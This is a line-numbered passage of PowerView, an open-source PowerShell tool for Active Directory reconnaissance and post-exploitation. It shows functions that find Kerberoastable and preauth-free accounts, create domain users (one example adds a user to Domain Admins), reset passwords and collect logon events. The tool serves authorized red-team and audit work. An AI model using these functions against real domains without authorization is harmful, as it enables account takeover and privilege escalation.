   5073         [Alias('KerberosPreauthNotRequired', 'NoPreauth')]
   5074         [Switch]
   5075         $PreauthNotRequired,
   5076 
   5077         [ValidateNotNullOrEmpty()]
   5078         [String]
   5079         $Domain,
   5080 
   5081         [ValidateNotNullOrEmpty()]
   5082         [Alias('Filter')]
   5083         [String]
   5084         $LDAPFilter,
   5085 
   5086         [ValidateNotNullOrEmpty()]
   5087         [String[]]
   5088         $Properties,
   5089 
   5090         [ValidateNotNullOrEmpty()]
   5091         [Alias('ADSPath')]
   5092         [String]
   5093         $SearchBase,
   5094 
   5095         [ValidateNotNullOrEmpty()]
   5096         [Alias('DomainController')]
   5097         [String]
   5098         $Server,
   5099 
   5100         [ValidateSet('Base', 'OneLevel', 'Subtree')]
   5101         [String]
   5102         $SearchScope = 'Subtree',
   5103 
   5104         [ValidateRange(1, 10000)]
   5105         [Int]
   5106         $ResultPageSize = 200,
   5107 
   5108         [ValidateRange(1, 10000)]
   5109         [Int]
   5110         $ServerTimeLimit,
   5111 
   5112         [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
   5113         [String]
   5114         $SecurityMasks,
   5115 
   5116         [Switch]
   5117         $Tombstone,
   5118 
   5119         [Alias('ReturnOne')]
   5120         [Switch]
   5121         $FindOne,
   5122 
   5123         [Management.Automation.PSCredential]
   5124         [Management.Automation.CredentialAttribute()]
   5125         $Credential = [Management.Automation.PSCredential]::Empty,
   5126 
   5127         [Switch]
   5128         $Raw
   5129     )
   5130 
   5131     DynamicParam {
   5132         $UACValueNames = [Enum]::GetNames($UACEnum)
   5133         # add in the negations
   5134         $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
   5135         # create new dynamic parameter
   5136         New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
   5137     }
   5138 
   5139     BEGIN {
   5140         $SearcherArguments = @{}
   5141         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
   5142         if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
   5143         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
   5144         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
   5145         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
   5146         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
   5147         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
   5148         if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
   5149         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
   5150         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
   5151         $UserSearcher = Get-DomainSearcher @SearcherArguments
   5152     }
   5153 
   5154     PROCESS {
   5155         #bind dynamic parameter to a friendly variable
   5156         if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
   5157             New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
   5158         }
   5159 
   5160         if ($UserSearcher) {
   5161             $IdentityFilter = ''
   5162             $Filter = ''
   5163             $Identity | Where-Object {$_} | ForEach-Object {
   5164                 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
   5165                 if ($IdentityInstance -match '^S-1-') {
   5166                     $IdentityFilter += "(objectsid=$IdentityInstance)"
   5167                 }
   5168                 elseif ($IdentityInstance -match '^CN=') {
   5169                     $IdentityFilter += "(distinguishedname=$IdentityInstance)"
   5170                     if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
   5171                         # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
   5172                         #   and rebuild the domain searcher
   5173                         $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
   5174                         Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
   5175                         $SearcherArguments['Domain'] = $IdentityDomain
   5176                         $UserSearcher = Get-DomainSearcher @SearcherArguments
   5177                         if (-not $UserSearcher) {
   5178                             Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'"
   5179                         }
   5180                     }
   5181                 }
   5182                 elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
   5183                     $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
   5184                     $IdentityFilter += "(objectguid=$GuidByteString)"
   5185                 }
   5186                 elseif ($IdentityInstance.Contains('\')) {
   5187                     $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
   5188                     if ($ConvertedIdentityInstance) {
   5189                         $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
   5190                         $UserName = $IdentityInstance.Split('\')[1]
   5191                         $IdentityFilter += "(samAccountName=$UserName)"
   5192                         $SearcherArguments['Domain'] = $UserDomain
   5193                         Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'"
   5194                         $UserSearcher = Get-DomainSearcher @SearcherArguments
   5195                     }
   5196                 }
   5197                 else {
   5198                     $IdentityFilter += "(samAccountName=$IdentityInstance)"
   5199                 }
   5200             }
   5201 
   5202             if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
   5203                 $Filter += "(|$IdentityFilter)"
   5204             }
   5205 
   5206             if ($PSBoundParameters['SPN']) {
   5207                 Write-Verbose '[Get-DomainUser] Searching for non-null service principal names'
   5208                 $Filter += '(servicePrincipalName=*)'
   5209             }
   5210             if ($PSBoundParameters['AllowDelegation']) {
   5211                 Write-Verbose '[Get-DomainUser] Searching for users who can be delegated'
   5212                 # negation of "Accounts that are sensitive and not trusted for delegation"
   5213                 $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))'
   5214             }
   5215             if ($PSBoundParameters['DisallowDelegation']) {
   5216                 Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation'
   5217                 $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)'
   5218             }
   5219             if ($PSBoundParameters['AdminCount']) {
   5220                 Write-Verbose '[Get-DomainUser] Searching for adminCount=1'
   5221                 $Filter += '(admincount=1)'
   5222             }
   5223             if ($PSBoundParameters['TrustedToAuth']) {
   5224                 Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals'
   5225                 $Filter += '(msds-allowedtodelegateto=*)'
   5226             }
   5227             if ($PSBoundParameters['PreauthNotRequired']) {
   5228                 Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate'
   5229                 $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)'
   5230             }
   5231             if ($PSBoundParameters['LDAPFilter']) {
   5232                 Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter"
   5233                 $Filter += "$LDAPFilter"
   5234             }
   5235 
   5236             # build the LDAP filter for the dynamic UAC filter value
   5237             $UACFilter | Where-Object {$_} | ForEach-Object {
   5238                 if ($_ -match 'NOT_.*') {
   5239                     $UACField = $_.Substring(4)
   5240                     $UACValue = [Int]($UACEnum::$UACField)
   5241                     $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
   5242                 }
   5243                 else {
   5244                     $UACValue = [Int]($UACEnum::$_)
   5245                     $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
   5246                 }
   5247             }
   5248 
   5249             $UserSearcher.filter = "(&(samAccountType=805306368)$Filter)"
   5250             Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)"
   5251 
   5252             if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() }
   5253             else { $Results = $UserSearcher.FindAll() }
   5254             $Results | Where-Object {$_} | ForEach-Object {
   5255                 if ($PSBoundParameters['Raw']) {
   5256                     # return raw result objects
   5257                     $User = $_
   5258                     $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw')
   5259                 }
   5260                 else {
   5261                     $User = Convert-LDAPProperty -Properties $_.Properties
   5262                     $User.PSObject.TypeNames.Insert(0, 'PowerView.User')
   5263                 }
   5264                 $User
   5265             }
   5266             if ($Results) {
   5267                 try { $Results.dispose() }
   5268                 catch {
   5269                     Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_"
   5270                 }
   5271             }
   5272             $UserSearcher.dispose()
   5273         }
   5274     }
   5275 }
   5276 
   5277 
   5278 function New-DomainUser {
   5279 <#
   5280 .SYNOPSIS
   5281 
   5282 Creates a new domain user (assuming appropriate permissions) and returns the user object.
   5283 
   5284 TODO: implement all properties that New-ADUser implements (https://technet.microsoft.com/en-us/library/ee617253.aspx).
   5285 
   5286 Author: Will Schroeder (@harmj0y)  
   5287 License: BSD 3-Clause  
   5288 Required Dependencies: Get-PrincipalContext  
   5289 
   5290 .DESCRIPTION
   5291 
   5292 First binds to the specified domain context using Get-PrincipalContext.
   5293 The bound domain context is then used to create a new
   5294 DirectoryServices.AccountManagement.UserPrincipal with the specified user properties.
   5295 
   5296 .PARAMETER SamAccountName
   5297 
   5298 Specifies the Security Account Manager (SAM) account name of the user to create.
   5299 Maximum of 256 characters. Mandatory.
   5300 
   5301 .PARAMETER AccountPassword
   5302 
   5303 Specifies the password for the created user. Mandatory.
   5304 
   5305 .PARAMETER Name
   5306 
   5307 Specifies the name of the user to create. If not provided, defaults to SamAccountName.
   5308 
   5309 .PARAMETER DisplayName
   5310 
   5311 Specifies the display name of the user to create. If not provided, defaults to SamAccountName.
   5312 
   5313 .PARAMETER Description
   5314 
   5315 Specifies the description of the user to create.
   5316 
   5317 .PARAMETER Domain
   5318 
   5319 Specifies the domain to use to search for user/group principals, defaults to the current domain.
   5320 
   5321 .PARAMETER Credential
   5322 
   5323 A [Management.Automation.PSCredential] object of alternate credentials
   5324 for connection to the target domain.
   5325 
   5326 .EXAMPLE
   5327 
   5328 $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   5329 New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword
   5330 
   5331 Creates the 'harmj0y2' user with the specified description and password.
   5332 
   5333 .EXAMPLE
   5334 
   5335 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   5336 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
   5337 $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   5338 $user = New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword -Credential $Cred
   5339 
   5340 Creates the 'harmj0y2' user with the specified description and password, using the specified
   5341 alternate credentials.
   5342 
   5343 .EXAMPLE
   5344 
   5345 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   5346 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
   5347 $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   5348 New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred
   5349 
   5350 Creates the 'andy' user with the specified description and password, using the specified
   5351 alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember
   5352 and the alternate credentials.
   5353 
   5354 .OUTPUTS
   5355 
   5356 DirectoryServices.AccountManagement.UserPrincipal
   5357 
   5358 .LINK
   5359 
   5360 http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
   5361 #>
   5362 
   5363     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
   5364     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   5365     [OutputType('DirectoryServices.AccountManagement.UserPrincipal')]
   5366     Param(
   5367         [Parameter(Mandatory = $True)]
   5368         [ValidateLength(0, 256)]
   5369         [String]
   5370         $SamAccountName,
   5371 
   5372         [Parameter(Mandatory = $True)]
   5373         [ValidateNotNullOrEmpty()]
   5374         [Alias('Password')]
   5375         [Security.SecureString]
   5376         $AccountPassword,
   5377 
   5378         [ValidateNotNullOrEmpty()]
   5379         [String]
   5380         $Name,
   5381 
   5382         [ValidateNotNullOrEmpty()]
   5383         [String]
   5384         $DisplayName,
   5385 
   5386         [ValidateNotNullOrEmpty()]
   5387         [String]
   5388         $Description,
   5389 
   5390         [ValidateNotNullOrEmpty()]
   5391         [String]
   5392         $Domain,
   5393 
   5394         [Management.Automation.PSCredential]
   5395         [Management.Automation.CredentialAttribute()]
   5396         $Credential = [Management.Automation.PSCredential]::Empty
   5397     )
   5398 
   5399     $ContextArguments = @{
   5400         'Identity' = $SamAccountName
   5401     }
   5402     if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
   5403     if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
   5404     $Context = Get-PrincipalContext @ContextArguments
   5405 
   5406     if ($Context) {
   5407         $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context.Context)
   5408 
   5409         # set all the appropriate user parameters
   5410         $User.SamAccountName = $Context.Identity
   5411         $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)
   5412         $User.SetPassword($TempCred.GetNetworkCredential().Password)
   5413         $User.Enabled = $True
   5414         $User.PasswordNotRequired = $False
   5415 
   5416         if ($PSBoundParameters['Name']) {
   5417             $User.Name = $Name
   5418         }
   5419         else {
   5420             $User.Name = $Context.Identity
   5421         }
   5422         if ($PSBoundParameters['DisplayName']) {
   5423             $User.DisplayName = $DisplayName
   5424         }
   5425         else {
   5426             $User.DisplayName = $Context.Identity
   5427         }
   5428 
   5429         if ($PSBoundParameters['Description']) {
   5430             $User.Description = $Description
   5431         }
   5432 
   5433         Write-Verbose "[New-DomainUser] Attempting to create user '$SamAccountName'"
   5434         try {
   5435             $Null = $User.Save()
   5436             Write-Verbose "[New-DomainUser] User '$SamAccountName' successfully created"
   5437             $User
   5438         }
   5439         catch {
   5440             Write-Warning "[New-DomainUser] Error creating user '$SamAccountName' : $_"
   5441         }
   5442     }
   5443 }
   5444 
   5445 
   5446 function Set-DomainUserPassword {
   5447 <#
   5448 .SYNOPSIS
   5449 
   5450 Sets the password for a given user identity.
   5451 
   5452 Author: Will Schroeder (@harmj0y)  
   5453 License: BSD 3-Clause  
   5454 Required Dependencies: Get-PrincipalContext  
   5455 
   5456 .DESCRIPTION
   5457 
   5458 First binds to the specified domain context using Get-PrincipalContext.
   5459 The bound domain context is then used to search for the specified user -Identity,
   5460 which returns a DirectoryServices.AccountManagement.UserPrincipal object. The
   5461 SetPassword() function is then invoked on the user, setting the password to -AccountPassword.
   5462 
   5463 .PARAMETER Identity
   5464 
   5465 A user SamAccountName (e.g. User1), DistinguishedName (e.g. CN=user1,CN=Users,DC=testlab,DC=local),
   5466 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1113), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
   5467 specifying the user to reset the password for.
   5468 
   5469 .PARAMETER AccountPassword
   5470 
   5471 Specifies the password to reset the target user's to. Mandatory.
   5472 
   5473 .PARAMETER Domain
   5474 
   5475 Specifies the domain to use to search for the user identity, defaults to the current domain.
   5476 
   5477 .PARAMETER Credential
   5478 
   5479 A [Management.Automation.PSCredential] object of alternate credentials
   5480 for connection to the target domain.
   5481 
   5482 .EXAMPLE
   5483 
   5484 $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   5485 Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword
   5486 
   5487 Resets the password for 'andy' to the password specified.
   5488 
   5489 .EXAMPLE
   5490 
   5491 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   5492 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
   5493 $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   5494 Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred
   5495 
   5496 Resets the password for 'andy' usering the alternate credentials specified.
   5497 
   5498 .OUTPUTS
   5499 
   5500 DirectoryServices.AccountManagement.UserPrincipal
   5501 
   5502 .LINK
   5503 
   5504 http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
   5505 #>
   5506 
   5507     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
   5508     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   5509     [OutputType('DirectoryServices.AccountManagement.UserPrincipal')]
   5510     Param(
   5511         [Parameter(Position = 0, Mandatory = $True)]
   5512         [Alias('UserName', 'UserIdentity', 'User')]
   5513         [String]
   5514         $Identity,
   5515 
   5516         [Parameter(Mandatory = $True)]
   5517         [ValidateNotNullOrEmpty()]
   5518         [Alias('Password')]
   5519         [Security.SecureString]
   5520         $AccountPassword,
   5521 
   5522         [ValidateNotNullOrEmpty()]
   5523         [String]
   5524         $Domain,
   5525 
   5526         [Management.Automation.PSCredential]
   5527         [Management.Automation.CredentialAttribute()]
   5528         $Credential = [Management.Automation.PSCredential]::Empty
   5529     )
   5530 
   5531     $ContextArguments = @{ 'Identity' = $Identity }
   5532     if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
   5533     if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
   5534     $Context = Get-PrincipalContext @ContextArguments
   5535 
   5536     if ($Context) {
   5537         $User = [System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($Context.Context, $Identity)
   5538 
   5539         if ($User) {
   5540             Write-Verbose "[Set-DomainUserPassword] Attempting to set the password for user '$Identity'"
   5541             try {
   5542                 $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)
   5543                 $User.SetPassword($TempCred.GetNetworkCredential().Password)
   5544 
   5545                 $Null = $User.Save()
   5546                 Write-Verbose "[Set-DomainUserPassword] Password for user '$Identity' successfully reset"
   5547             }
   5548             catch {
   5549                 Write-Warning "[Set-DomainUserPassword] Error setting password for user '$Identity' : $_"
   5550             }
   5551         }
   5552         else {
   5553             Write-Warning "[Set-DomainUserPassword] Unable to find user '$Identity'"
   5554         }
   5555     }
   5556 }
   5557 
   5558 
   5559 function Get-DomainUserEvent {
   5560 <#
   5561 .SYNOPSIS
   5562 
   5563 Enumerate account logon events (ID 4624) and Logon with explicit credential
   5564 events (ID 4648) from the specified host (default of the localhost).
   5565 
   5566 Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)  
   5567 License: BSD 3-Clause  
   5568 Required Dependencies: None  
   5569 
   5570 .DESCRIPTION
   5571 
   5572 This function uses an XML path filter passed to Get-WinEvent to retrieve
   5573 security events with IDs of 4624 (logon events) or 4648 (explicit credential
   5574 logon events) from -StartTime (default of now-1 day) to -EndTime (default of now).
   5575 A maximum of -MaxEvents (default of 5000) are returned.
   5576 
   5577 .PARAMETER ComputerName
   5578 
   5579 Specifies the computer name to retrieve events from, default of localhost.
   5580 
   5581 .PARAMETER StartTime
   5582 
   5583 The [DateTime] object representing the start of when to collect events.
   5584 Default of [DateTime]::Now.AddDays(-1).
   5585 
   5586 .PARAMETER EndTime
   5587 
   5588 The [DateTime] object representing the end of when to collect events.
   5589 Default of [DateTime]::Now.
   5590 
   5591 .PARAMETER MaxEvents
   5592 
   5593 The maximum number of events to retrieve. Default of 5000.
   5594 
   5595 .PARAMETER Credential
   5596 
   5597 A [Management.Automation.PSCredential] object of alternate credentials
   5598 for connection to the target computer.
   5599 
   5600 .EXAMPLE
   5601 
   5602 Get-DomainUserEvent
   5603 
   5604 Return logon events on the local machine.
   5605 
   5606 .EXAMPLE
   5607 
   5608 Get-DomainController | Get-DomainUserEvent -StartTime ([DateTime]::Now.AddDays(-3))
   5609 
   5610 Return all logon events from the last 3 days from every domain controller in the current domain.
   5611 
   5612 .EXAMPLE
   5613 
   5614 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   5615 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
   5616 Get-DomainUserEvent -ComputerName PRIMARY.testlab.local -Credential $Cred -MaxEvents 1000
   5617 
   5618 Return a max of 1000 logon events from the specified machine using the specified alternate credentials.
   5619 
   5620 .OUTPUTS
   5621 
   5622 PowerView.LogonEvent
   5623 
   5624 PowerView.ExplicitCredentialLogonEvent
   5625 
   5626 .LINK
   5627 
   5628 http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
   5629 #>
   5630 
   5631     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   5632     [OutputType('PowerView.LogonEvent')]
   5633     [OutputType('PowerView.ExplicitCredentialLogonEvent')]
   5634     [CmdletBinding()]
   5635     Param(
   5636         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   5637         [Alias('dnshostname', 'HostName', 'name')]
   5638         [ValidateNotNullOrEmpty()]
   5639         [String[]]
   5640         $ComputerName = $Env:COMPUTERNAME,
   5641 
   5642         [ValidateNotNullOrEmpty()]
   5643         [DateTime]
   5644         $StartTime = [DateTime]::Now.AddDays(-1),
   5645 
   5646         [ValidateNotNullOrEmpty()]
   5647         [DateTime]
   5648         $EndTime = [DateTime]::Now,
   5649 
   5650         [ValidateRange(1, 1000000)]
   5651         [Int]
   5652         $MaxEvents = 5000,
   5653 
   5654         [Management.Automation.PSCredential]
   5655         [Management.Automation.CredentialAttribute()]
   5656         $Credential = [Management.Automation.PSCredential]::Empty
   5657     )
   5658 
   5659     BEGIN {
   5660         # the XML filter we're passing to Get-WinEvent
   5661         $XPathFilter = @"
   5662 <QueryList>
   5663     <Query Id="0" Path="Security">
   5664 
   5665         <!-- Logon events -->
   5666         <Select Path="Security">
   5667             *[
   5668                 System[
   5669                     Provider[
   5670                         @Name='Microsoft-Windows-Security-Auditing'
   5671                     ]
   5672                     and (Level=4 or Level=0) and (EventID=4624)
   5673                     and TimeCreated[
   5674                         @SystemTime&gt;='$($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime&lt;='$($EndTime.ToUniversalTime().ToString('s'))'
   5675                     ]
   5676                 ]
   5677             ]
   5678             and
   5679             *[EventData[Data[@Name='TargetUserName'] != 'ANONYMOUS LOGON']]
   5680         </Select>
   5681 
   5682         <!-- Logon with explicit credential events -->
   5683         <Select Path="Security">
   5684             *[
   5685                 System[
   5686                     Provider[
   5687                         @Name='Microsoft-Windows-Security-Auditing'
   5688                     ]
   5689                     and (Level=4 or Level=0) and (EventID=4648)
   5690                     and TimeCreated[
   5691                         @SystemTime&gt;='$($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime&lt;='$($EndTime.ToUniversalTime().ToString('s'))'
   5692                     ]
   5693                 ]
   5694             ]
   5695         </Select>
   5696 
   5697         <Suppress Path="Security">
   5698             *[
   5699                 System[
   5700                     Provider[
   5701                         @Name='Microsoft-Windows-Security-Auditing'
   5702                     ]
   5703                     and
   5704                     (Level=4 or Level=0) and (EventID=4624 or EventID=4625 or EventID=4634)
   5705                 ]
   5706             ]
   5707             and
   5708             *[
   5709                 EventData[
   5710                     (
   5711                         (Data[@Name='LogonType']='5' or Data[@Name='LogonType']='0')
   5712                         or
   5713                         Data[@Name='TargetUserName']='ANONYMOUS LOGON'
   5714                         or
   5715                         Data[@Name='TargetUserSID']='S-1-5-18'
   5716                     )
   5717                 ]
   5718             ]
   5719         </Suppress>
   5720     </Query>
   5721 </QueryList>
   5722 "@
   5723         $EventArguments = @{
   5724             'FilterXPath' = $XPathFilter
   5725             'LogName' = 'Security'
   5726             'MaxEvents' = $MaxEvents
   5727         }
   5728         if ($PSBoundParameters['Credential']) { $EventArguments['Credential'] = $Credential }
   5729     }
   5730 
   5731     PROCESS {
   5732         ForEach ($Computer in $ComputerName) {
   5733 
   5734             $EventArguments['ComputerName'] = $Computer
   5735 
   5736             Get-WinEvent @EventArguments| ForEach-Object {
   5737                 $Event = $_
   5738                 $Properties = $Event.Properties
   5739                 Switch ($Event.Id) {
   5740                     # logon event
   5741                     4624 {
   5742                         # skip computer logons, for now...
   5743                         if(-not $Properties[5].Value.EndsWith('$')) {
   5744                             $Output = New-Object PSObject -Property @{
   5745                                 ComputerName              = $Computer
   5746                                 TimeCreated               = $Event.TimeCreated
   5747                                 EventId                   = $Event.Id
   5748                                 SubjectUserSid            = $Properties[0].Value.ToString()
   5749                                 SubjectUserName           = $Properties[1].Value
   5750                                 SubjectDomainName         = $Properties[2].Value
   5751                                 SubjectLogonId            = $Properties[3].Value
   5752                                 TargetUserSid             = $Properties[4].Value.ToString()
   5753                                 TargetUserName            = $Properties[5].Value
   5754                                 TargetDomainName          = $Properties[6].Value
   5755                                 TargetLogonId             = $Properties[7].Value
   5756                                 LogonType                 = $Properties[8].Value
   5757                                 LogonProcessName          = $Properties[9].Value
   5758                                 AuthenticationPackageName = $Properties[10].Value
   5759                                 WorkstationName           = $Properties[11].Value
   5760                                 LogonGuid                 = $Properties[12].Value
   5761                                 TransmittedServices       = $Properties[13].Value
   5762                                 LmPackageName             = $Properties[14].Value
   5763                                 KeyLength                 = $Properties[15].Value
   5764                                 ProcessId                 = $Properties[16].Value
   5765                                 ProcessName               = $Properties[17].Value
   5766                                 IpAddress                 = $Properties[18].Value
   5767                                 IpPort                    = $Properties[19].Value
   5768                                 ImpersonationLevel        = $Properties[20].Value
   5769                                 RestrictedAdminMode       = $Properties[21].Value
   5770                                 TargetOutboundUserName    = $Properties[22].Value
   5771                                 TargetOutboundDomainName  = $Properties[23].Value
   5772                                 VirtualAccount            = $Properties[24].Value
   5773                                 TargetLinkedLogonId       = $Properties[25].Value
   5774                                 ElevatedToken             = $Properties[26].Value
   5775                             }
   5776                             $Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonEvent')
   5777                             $Output
   5778                         }
   5779                     }
   5780 
   5781                     # logon with explicit credential
   5782                     4648 {
   5783                         # skip computer logons, for now...
   5784                         if((-not $Properties[5].Value.EndsWith('$')) -and ($Properties[11].Value -match 'taskhost\.exe')) {
   5785                             $Output = New-Object PSObject -Property @{
   5786                                 ComputerName              = $Computer
   5787                                 TimeCreated       = $Event.TimeCreated
   5788                                 EventId           = $Event.Id
   5789                                 SubjectUserSid    = $Properties[0].Value.ToString()
   5790                                 SubjectUserName   = $Properties[1].Value
   5791                                 SubjectDomainName = $Properties[2].Value
   5792                                 SubjectLogonId    = $Properties[3].Value
   5793                                 LogonGuid         = $Properties[4].Value.ToString()
   5794                                 TargetUserName    = $Properties[5].Value
   5795                                 TargetDomainName  = $Properties[6].Value
   5796                                 TargetLogonGuid   = $Properties[7].Value
   5797                                 TargetServerName  = $Properties[8].Value
   5798                                 TargetInfo        = $Properties[9].Value
   5799                                 ProcessId         = $Properties[10].Value
   5800                                 ProcessName       = $Properties[11].Value
   5801                                 IpAddress         = $Properties[12].Value
   5802                                 IpPort            = $Properties[13].Value
   5803                             }
   5804                             $Output.PSObject.TypeNames.Insert(0, 'PowerView.ExplicitCredentialLogonEvent')
   5805                             $Output
   5806                         }
   5807                     }
   5808                     default {
   5809                         Write-Warning "No handler exists for event ID: $($Event.Id)"
   5810                     }
   5811                 }
   5812             }
   5813         }
   5814     }
   5815 }
   5816 
   5817 
   5818 function Get-DomainGUIDMap {
   5819 <#
   5820 .SYNOPSIS
   5821 
   5822 Helper to build a hash table of [GUID] -> resolved names for the current or specified Domain.
   5823 
   5824 Author: Will Schroeder (@harmj0y)  
   5825 License: BSD 3-Clause  
   5826 Required Dependencies: Get-DomainSearcher, Get-Forest  
   5827 
   5828 .DESCRIPTION
   5829 
   5830 Searches the forest schema location (CN=Schema,CN=Configuration,DC=testlab,DC=local) for
   5831 all objects with schemaIDGUID set and translates the GUIDs discovered to human-readable names.
   5832 Then searches the extended rights location (CN=Extended-Rights,CN=Configuration,DC=testlab,DC=local)
   5833 for objects where objectClass=controlAccessRight, translating the GUIDs again.
   5834 
   5835 Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx
   5836 
   5837 .PARAMETER Domain
   5838 
   5839 Specifies the domain to use for the query, defaults to the current domain.
   5840 
   5841 .PARAMETER Server
   5842 
   5843 Specifies an Active Directory server (domain controller) to bind to.
   5844 
   5845 .PARAMETER ResultPageSize
   5846 
   5847 Specifies the PageSize to set for the LDAP searcher object.
   5848 
   5849 .PARAMETER ServerTimeLimit
   5850 
   5851 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
   5852 
   5853 .PARAMETER Credential
   5854 
   5855 A [Management.Automation.PSCredential] object of alternate credentials
   5856 for connection to the target domain.
   5857 
   5858 .OUTPUTS
   5859 
   5860 Hashtable
   5861 
   5862 Ouputs a hashtable containing a GUID -> Readable Name mapping.
   5863 
   5864 .LINK
   5865 
   5866 http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx
   5867 #>
   5868 
   5869     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   5870     [OutputType([Hashtable])]
   5871     [CmdletBinding()]
   5872     Param (
   5873         [ValidateNotNullOrEmpty()]
   5874         [String]
   5875         $Domain,
   5876 
   5877         [ValidateNotNullOrEmpty()]
